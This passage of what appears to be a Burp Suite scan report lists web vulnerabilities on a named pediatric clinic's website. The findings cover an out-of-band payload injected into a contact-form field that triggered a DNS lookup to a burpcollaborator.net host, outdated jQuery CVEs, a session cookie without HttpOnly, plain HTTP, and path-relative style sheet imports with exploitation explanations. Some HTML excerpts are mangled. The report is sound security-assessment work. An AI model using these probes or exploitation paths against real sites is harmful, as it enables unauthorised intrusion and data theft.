 Cookie: PHPSESSID=1k4hk0089p3lhos0nqmq62gm22

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/contact-us.php
 Content-Type: application/x-www-form-urlencoded

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 222

 
CF_NAME_FIRST=k2n6zrqc587f2w9szzmecf4e75d01t1ht5lsbg0.burpcollaborator.net&CF_NAME_LAST=&CF_EMAIL=&CF_PHONE=&CF_ALTERNATE_PHO
NE=&CF_CONTACT_METHOD=not-
selected&CF_CONTACT_METHOD=Phone&CF_CONTACT_DEPARTMENT=Practice+Manager&CF_DESCRIBE=537005&CF_LASTFIELD=&Submit+Registrati
o
 ...[SNIP]...

Collaborator DNS interaction
The Collaborator server received a DNS lookup of type A for the domain name k2n6zrqc587f2w9szzmecf4e75d01t1ht5lsbg0.burpcollaborator.net.

 
The lookup was received from IP address 74.125.44.132 at 2022-Apr-07 01:30:11 UTC.

5. Vulnerable JavaScript dependency
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Summary

Severity:  Low

Confidence:  Tentative

Host:  http://www.yourwebsite.com

Path:  /js/jquery1.10.js

Issue detail
We observed a vulnerable JavaScript library.

We detected jquery version 1.10.2, which has the following vulnerabilities:

CVE-2015-9251: 3rd party CORS request may execute
 CVE-2015-9251: parseHTML() executes scripts in event handlers

 CVE-2019-11358: jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of
Object.prototype pollution

 CVE-2020-11022: Regex in its jQuery.htmlPrefilter sometimes may introduce XSS
 CVE-2020-11023: Regex in its jQuery.htmlPrefilter sometimes may introduce XSS
 

Issue background
The use of third-party JavaScript libraries can introduce a range of DOM-based vulnerabilities, including some that can be used to hijack user accounts like DOM-
XSS.

Common JavaScript libraries typically enjoy the benefit of being heavily audited. This may mean that bugs are quickly identified and patched upstream, resulting in a
steady stream of security updates that need to be applied. Although it may be tempting to ignore updates, using a library with missing security patches can make
your website exceptionally easy to exploit. Therefore, it's important to ensure that any available security updates are applied promptly.

Some library vulnerabilities expose every application that imports the library, but others only affect applications that use certain library features. Accurately
identifying which library vulnerabilities apply to your website can be difficult, so we recommend applying all available security updates regardless.

Issue remediation
Develop a patch-management strategy to ensure that security updates are promptly applied to all third-party libraries in your application. Also, consider reducing
your attack surface by removing any libraries that are no longer in use.

Vulnerability classifications
CWE-1104: Use of Unmaintained Third Party Components
A9: Using Components with Known Vulnerabilities

Request 1

GET /js/jquery1.10.js HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ppp56ovh7updc19sv397lhj6j6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Content-Type: application/javascript

 Last-Modified: Thu, 03 Oct 2013 17:56:30 GMT
 Accept-Ranges: bytes

 ETag: "1ab077e361c0ce1:0"
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:41:53 GMT

 Connection: close
 Content-Length: 93111

 
/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license

 //@ sourceMappingURL=jquery-1.10.2.min.map
 */

 (function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuer
 ...[SNIP]...

6. Cookie without HttpOnly flag set

Previous   Next  
 

Summary
Severity:  Low

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /

Issue detail
The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its
function.

Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure makes certain client-side attacks,
such as cross-site scripting, slightly harder to exploit by preventing them from trivially capturing the cookie's value via an injected script.

Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to
read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious
attacks can be delivered by client-side script injection, aside from simple cookie stealing.

References
Web Security Academy: Exploiting XSS vulnerabilities
HttpOnly effectiveness

Vulnerability classifications
CWE-16: Configuration
CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies

Request 1

GET / HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 Set-Cookie: PHPSESSID=u2nskgbifqai9s0gea7j0mb5c6; path=/

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:30:05 GMT

 Connection: close
 Content-Length: 16203

 
<!DOCTYPE html>

 <html lang="en"><head>
 

<meta charset="utf-8">
    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->

    <meta http-equiv="X-UA-Compatible" content=
 ...[SNIP]...

7. Unencrypted communications
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Summary
Severity:  Low

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /

Issue description
The application allows users to connect to it over unencrypted connections. An attacker suitably positioned to view a legitimate user's network traffic could record
and monitor their interactions with the application and obtain any information the user supplies. Furthermore, an attacker able to modify traffic could use the
application as a platform for attacks against its users and third-party websites. Unencrypted connections have been exploited by ISPs and governments to track
users, and to inject adverts and malicious JavaScript. Due to these concerns, web browser vendors are planning to visually flag unencrypted connections as
hazardous.

To exploit this vulnerability, an attacker must be suitably positioned to eavesdrop on the victim's network traffic. This scenario typically occurs when a client
communicates with the server over an insecure connection such as public Wi-Fi, or a corporate or home network that is shared with a compromised computer.
Common defenses such as switched networks are not sufficient to prevent this. An attacker situated in the user's ISP or the application's hosting infrastructure could
also perform this attack. Note that an advanced adversary could potentially target any connection made over the Internet's core infrastructure.

Please note that using a mixture of encrypted and unencrypted communications is an ineffective defense against active attackers, because they can easily remove
references to encrypted resources when these references are transmitted over an unencrypted connection.

Issue remediation
Applications should use transport-level encryption (SSL/TLS) to protect all communications passing between the client and the server. The Strict-Transport-Security
HTTP header should be used to ensure that clients refuse to access the server over an insecure connection.

References
Marking HTTP as non-secure
Configuring Server-Side SSL/TLS
HTTP Strict Transport Security

Vulnerability classifications
CWE-326: Inadequate Encryption Strength
CAPEC-94: Man in the Middle Attack
CAPEC-157: Sniffing Attacks

8. Path-relative style sheet import
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There are 37 instances of this issue:

/
/asthma-allergies.php
/attention-deficit-disorder.php
/bill-payment.php
/breastfeeding.php
/cherri-esezobor.php
/childhood-obesity.php
/contact-us.php
/coronavirus-covid-19.php
/dr-alice-wilson.php
/dr-allison-ball.php
/dr-karen-moore.php
/immunization-catch-up.php
/immunizations.php
/index.php
/insurance.php
/location.php
/medical-services.php
/news-topic.php
/news.php
/office-policies.php
/patient-center.php
/patient-education.php
/patient-forms.php
/patient-portal.php
/physicians.php
/privacy.php
/safety-information.php
/sitemap.php
/social-media.php
/teen-center.php
/thank-you.php
/tory-banks-fnp.php
/urgent-care-emergency.php
/virtual-visits.php
/wendy-davison.php
/wic-medicaid.php

Issue background
Path-relative style sheet import vulnerabilities arise when the following conditions hold:

1. A response contains a style sheet import that uses a path-relative URL (for example, the page at "/original-path/file.php" might import "styles/main.css").
2. When handling requests, the application or platform tolerates superfluous path-like data following the original filename in the URL (for example, "/original-

path/file.php/extra-junk/"). When superfluous data is added to the original URL, the application's response still contains a path-relative stylesheet import.
3. The response in condition 2 can be made to render in a browser's quirks mode, either because it has a missing or old doctype directive, or because it allows

itself to be framed by a page under an attacker's control.
4. When a browser requests the style sheet that is imported in the response from the modified URL (using the URL "/original-path/file.php/extra-

junk/styles/main.css"), the application returns something other than the CSS response that was supposed to be imported. Given the behavior described in
condition 2, this will typically be the same response that was originally returned in condition 1.

5. An attacker has a means of manipulating some text within the response in condition 4, for example because the application stores and displays some past
input, or echoes some text within the current URL.

Given the above conditions, an attacker can execute CSS injection within the browser of the target user. The attacker can construct a URL that causes the victim's
browser to import as CSS a different URL than normal, containing text that the attacker can manipulate.

Being able to inject arbitrary CSS into the victim's browser may enable various attacks, including:

Executing arbitrary JavaScript using IE's expression() function.
Using CSS selectors to read parts of the HTML source, which may include sensitive data such as anti-CSRF tokens.
Capturing any sensitive data within the URL query string by making a further style sheet import to a URL on the attacker's domain, and monitoring the
incoming Referer header.

Issue remediation
The root cause of the vulnerability can be resolved by not using path-relative URLs in style sheet imports. Aside from this, attacks can also be prevented by
implementing all of the following defensive measures:

Setting the HTTP response header "X-Frame-Options: deny" in all responses. One method that an attacker can use to make a page render in quirks mode is
to frame it within their own page that is rendered in quirks mode. Setting this header prevents the page from being framed.
Setting a modern doctype (e.g. "<!doctype html>") in all HTML responses. This prevents the page from being rendered in quirks mode (unless it is being
framed, as described above).
Setting the HTTP response header "X-Content-Type-Options: nosniff" in all responses. This prevents the browser from processing a non-CSS response as
CSS, even if another page loads the response via a style sheet import.

References
Detecting and exploiting path-relative stylesheet import (PRSSI) vulnerabilities

Vulnerability classifications
CWE-16: Configuration
CAPEC-154: Resource Location Spoofing
CAPEC-468: Generic Cross-Browser Cross-Domain Theft

8.1. http://www.yourwebsite.com/
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Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET / HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 Set-Cookie: PHPSESSID=0schvlguhf4a5c33692s0hnah2; path=/

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:21:54 GMT

 Connection: close
 Content-Length: 16203

 
<!DOCTYPE html>

 <html lang="en"><head>
 

<meta charset="utf-8">
    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->

    <meta http-equiv="X-UA-Compatible" content=
 ...[SNIP]...

<li k l " l t h i " h f " l t h i " />

Request 2

GET /index.php/e97g58/ HTTP/1.1
Host: www.cumberlandpediatrics.com

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 Set-Cookie: PHPSESSID=p2kuodl32id0m4d7ss7cd5dhc7; path=/

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:22:49 GMT

 Connection: close
 Content-Length: 16203

 
<!DOCTYPE html>

 <html lang="en"><head>
 

<meta charset="utf-8">
    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->

    <meta http-equiv="X-UA-Compatible" content=
 ...[SNIP]...

<li k l " l t h i " h f " l t h i " />

Request 3

GET /index.php/e97g58/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 Set-Cookie: PHPSESSID=h8hdduo35adj26kq9tsaefr5d1; path=/

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:22:54 GMT

 Connection: close
 Content-Length: 16203

 
<!DOCTYPE html>

 <html lang="en"><head>
 

<meta charset="utf-8">
    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->

    <meta http-equiv="X-UA-Compatible" content=
 ...[SNIP]...

8.2. http://www.yourwebsite.com/asthma-allergies.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /asthma-allergies.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /asthma-allergies.php HTTP/1.1
 Host: www.cumberlandpediatrics.com
 Cookie: PHPSESSID=922gbsa5s46q3knp3sadjbeb97

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/medical-services.php
 Accept-Encoding: gzip, deflate

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:26:40 GMT
 Connection: close

 Content-Length: 17645
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /asthma-allergies.php/f09uma/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=922gbsa5s46q3knp3sadjbeb97
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/medical-services.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:28:02 GMT
 Connection: close

 Content-Length: 17645
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /asthma-allergies.php/f09uma/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=922gbsa5s46q3knp3sadjbeb97
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/medical-services.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:28:02 GMT
 Connection: close

 Content-Length: 17645
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.3. http://www.yourwebsite.com/attention-deficit-disorder.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /attention-deficit-disorder.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /attention-deficit-disorder.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=l33bcs23o6aq30r8c9oo79glm6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/attention-deficit-disorder.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:45:59 GMT
 Connection: close

 Content-Length: 8623
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /attention-deficit-disorder.php/y5ao3j/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=l33bcs23o6aq30r8c9oo79glm6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/attention-deficit-disorder.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:49:37 GMT
 Connection: close

 Content-Length: 8623
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /attention-deficit-disorder.php/y5ao3j/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=l33bcs23o6aq30r8c9oo79glm6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/attention-deficit-disorder.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:49:37 GMT
 Connection: close

 Content-Length: 8623
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.4. http://www.yourwebsite.com/bill-payment.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /bill-payment.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /bill-payment.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=fa125pmshk5vqko6i81pp3rgk5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:16:26 GMT
 Connection: close

 Content-Length: 13398
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /bill-payment.php/g3icrp/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=fa125pmshk5vqko6i81pp3rgk5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
